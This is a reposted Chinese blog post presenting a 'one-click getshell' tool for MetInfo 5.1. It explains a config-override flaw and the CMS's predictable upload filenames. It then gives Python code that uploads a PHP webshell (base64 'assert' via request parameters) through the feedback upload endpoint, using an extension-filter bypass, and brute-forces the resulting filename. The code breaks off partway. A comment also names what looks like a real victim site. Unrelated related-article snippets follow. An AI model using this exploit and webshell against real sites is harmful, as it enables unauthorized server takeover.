MetInfo 5.1 自动化getshell工具
title: MetInfo V5.1 GetShell一键化工具
date: 2016-06-08 22:40:32
categories: Hacker
tags:
- Hacker
- Tools
---
----------
# 漏洞解析:
----------
**config/config.inc.php**
```php
$langoks = $db->get_one("SELECT * FROM $met_lang WHERE lang='$lang'"); if(!$langoks)die('No data in the database,please reinstall.'); if(!$langoks[useok]&&!$metinfoadminok)okinfo('../404.html'); if(count($met_langok)==1)$lang=$met_index_type; $query = "SELECT * FROM $met_config WHERE lang='$lang' or lang='metinfo'";//看这里 $result = $db->query($query); while($list_config= $db->fetch_array($result)){ if($metinfoadminok)$list_config['value']=str_replace('"', '"', str_replace("'", ''',$list_config['value'])); $settings_arr[]=$list_config; if($list_config['columnid']){ $settings[$list_config['name'].'_'.$list_config['columnid']]=$list_config['value']; }else{ $settings[$list_config['name']]=$list_config['value']; } } @extract($settings);
```
----------
<!--more-->
访问 http:///localhost/metinfo5.1/index.php?lang=metinfo `SELECT * FROM met_config WHERE lang='metinfo' or lang='metinfo'` ----------
## 文件命名方式:
----------
**/feedback/uploadfile_save.php**
```php
srand((double)microtime() * 1000000); $rnd = rand(100, 999); $name = date('U') + $rnd; $name = $name.".".$ext; ```
**文件保存在/upload/file/目录** 命名方式就是时间戳去掉后三位,紧接着一个三位数的随机数 可爆破: 如 http://127.0.0.1/upload/file/1465394396.php ---------- # 一键化利用工具: ---------- **本程序基于python编写** ```python
#!/usr/bin/env python
#-*- coding: utf-8 -*- import requests
import Queue
import threading
import time
import sys headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.10 Safari/537.36'} urls = Queue.Queue()
#http://hb.jhxjd.com/upload/file/1441445378.php def bp(urls,time_out):
while not urls.empty():
base_url = urls.get()
response = None try:
time.sleep(int(time_out))#延时设置
response = requests.get(base_url,headers=headers)
if response.status_code == 404:
print 'Not Fount----%s ' % base_url
except:
continue
finally:
if response:
with open('url.txt','a+') as f:
f.write('%s?e=YXNzZXJ0 '%base_url) def main(target_url,thread_num,time_out): #取出当前时间戳并删除后四位
now = str(int(time.time()))[:-4] #将所有的待爆破地址遍历并加入队列
for i in range(0,10):
for j in range(100,1000):
num_str = ''.join((str(i),str(j)))
url = ''.join(('%s/upload/file/%s' % (target_url,now),num_str,'.php'))
urls.put(url) #上传文件
with open('xiaoma.php','w+') as fi:
fi.write("<?php $e = $_REQUEST['e'];register_shutdown_function(base64_decode($e), $_REQUEST['Akkuman']);?>")
data = {
'fd_para[1][para]':'filea',
'fd_para[1][type]':''
}
files = {'filea': open("xiaoma.php", 'rb')}
upload_url = '%s/feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo' % target_url
res = requests.post(upload_url,data = data,files=files)
#等待两秒 文件上传
time.sleep(2)
---转载
hacktech.cn|53xiaoshuo.com
MetInfo 5.1 自动化getshell工具的更多相关文章
- 项目自动化建构工具gradle 入门5——在intellij中做一个gradle的web工程
之前的几个小节,都是纯手工建文件夹,纯手工拷贝war包,或者纯手工解压个zip看看结果,,,,这还是我写了玩的helloWorld.若是玩大工程.几十个人的团队协同开发时,这么玩,,,,暴躁的程序员估 ...
- 项目自动化建构工具gradle 入门4——javaWeb在浏览器中显示helloWorld
在java应用中,其实做的最多的还是java web应用.所以现在我们做的就是用gradle构建一个简单的web项目,简单点,直接上代码吧. 1.进入目录D:\work\gradle\web,新建文件 ...
- 项目自动化建构工具gradle 入门3——生一个exe的helloWorld
前两次呢,我们能够用一个外部的jar 来实现输出helloWorld.但问题是我每次都要用java -jar 来执行,这样我们自己玩还可以,让用户玩就不好了.所以我们生成一个exe给他们吧.这次我们仍 ...
- 项目自动化建构工具gradle 入门0——环境 & 废话
gradle 是一个项目自动化构建工具.同类的产品还有ant ,maven等等.相比之下我更喜欢gradle,它语法简洁.兼容maven.ide集成很好. 学习使用gradle最快的方式是看文档,而且 ...
- 项目自动化建构工具gradle 入门2——log4j输出helloWorld
上一章节呢,有一个能跑的程序了.但是对做工程的人来说,用日志输出感觉比用System.out要有档次一点.比如使用log4j.直接上例子: 1进入D:\work\gradle\log目录 ,您电脑没 ...
- gulp自动化构建工具
gulp 自动化构建工具,实时监控.代码合并.压缩... http://www.gulpjs.com.cn/ 中文网 http://gulpjs.com/plugins/ 英文网 ...
- 前端自动化构建工具gulp的使用总结
前端自动化构建工具gulp的使用总结 博主最近偶的空闲,在此对gulp的使用做一个总结,让小伙伴知道如何合理的使用gulp以及gulp的使用技巧. 谈到gulp,有人可能就会想到另外一个构建工具gru ...
- paip.基于navicate mysql的自动化报表工具总结
paip.基于navicate mysql的自动化报表工具总结 需要对信用卡数据分类统计.显示一个饼图... 用EXCEL比较麻烦,一旦数据库变动就要重新导出..使用PHP代码吧,还是比较麻烦,最好是 ...
- 前端开发自动化工作流工具,JavaScript自动化构建工具grunt、gulp、webpack介绍
前端开发自动化工作流工具,JavaScript自动化构建工具grunt.gulp.webpack介绍 前端自动化,这样的一个名词听起来非常的有吸引力,向往力.当今时代,前端工程师需要维护的代码变得及为 ...
随机推荐
- N-Queens
The n-queens puzzle is the problem of placing n queens on an n×n chessboard such that no two queens ...
- docker常用命令
yum install wget -y wget -O etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7 ...
- [原]CentOS7.2最小安装环境部署Asp.NET Core笔记
转载请注明原作者(think8848)和出处(http://think8848.cnblogs.com) 写在前面的话 不知不觉在cnblogs上注册已经10多年了,看我的园龄就直接暴露了我实际年龄, ...
- [LeetCode] 3Sum Smaller 三数之和较小值
Given an array of n integers nums and a target, find the number of index triplets i, j, k with 0 < ...
- [LeetCode] Palindrome Partitioning II 拆分回文串之二
Given a string s, partition s such that every substring of the partition is a palindrome. Return the ...
- [LeetCode] Flatten Binary Tree to Linked List 将二叉树展开成链表
Given a binary tree, flatten it to a linked list in-place. For example,Given 1 / \ 2 5 / \ \ 3 4 6 T ...
- .NET WebAPI 用ActionFilterAttribute实现token令牌验证与对Action的权限控制
项目背景是一个社区类的APP(求轻吐...),博主主要负责后台业务及接口.以前没玩过webAPI,但是领导要求必须用这个(具体原因鬼知道),只好硬着头皮上了. 最近刚做完权限这一块,分享出来给大家.欢 ...
- Spring_跨项目读取properties文件
应用背景:工程中有40~50个项目,分为4个模块,分别是核心模块.服务接口模块.服务实现模块.Web模块.其它模块(包括消息队列.quartz任务等).工程中很多配置项都是多个项目共有调用的,所以单独 ...
- java中静态方法和静态类的学习
静态内部类可以有静态成员,而非静态类 则不能有静态成员 静态内部类的非静态成员可以访问外部类的静态成员,而不可以访问外部类的非静态成员 非静态方法与对象相关,而静态方法属于类的方法, 总上所述:静态方 ...
- 学习vue.js 第一天
最近听到很多人都在用Vue.js ,我也想凑凑热闹,来个入门 啥的 ,要不以后人家说,啥都不知道,多low 看到官网 是这样介绍Vue.js Vue.js(读音 /vjuː/, 类似于 view) 是 ...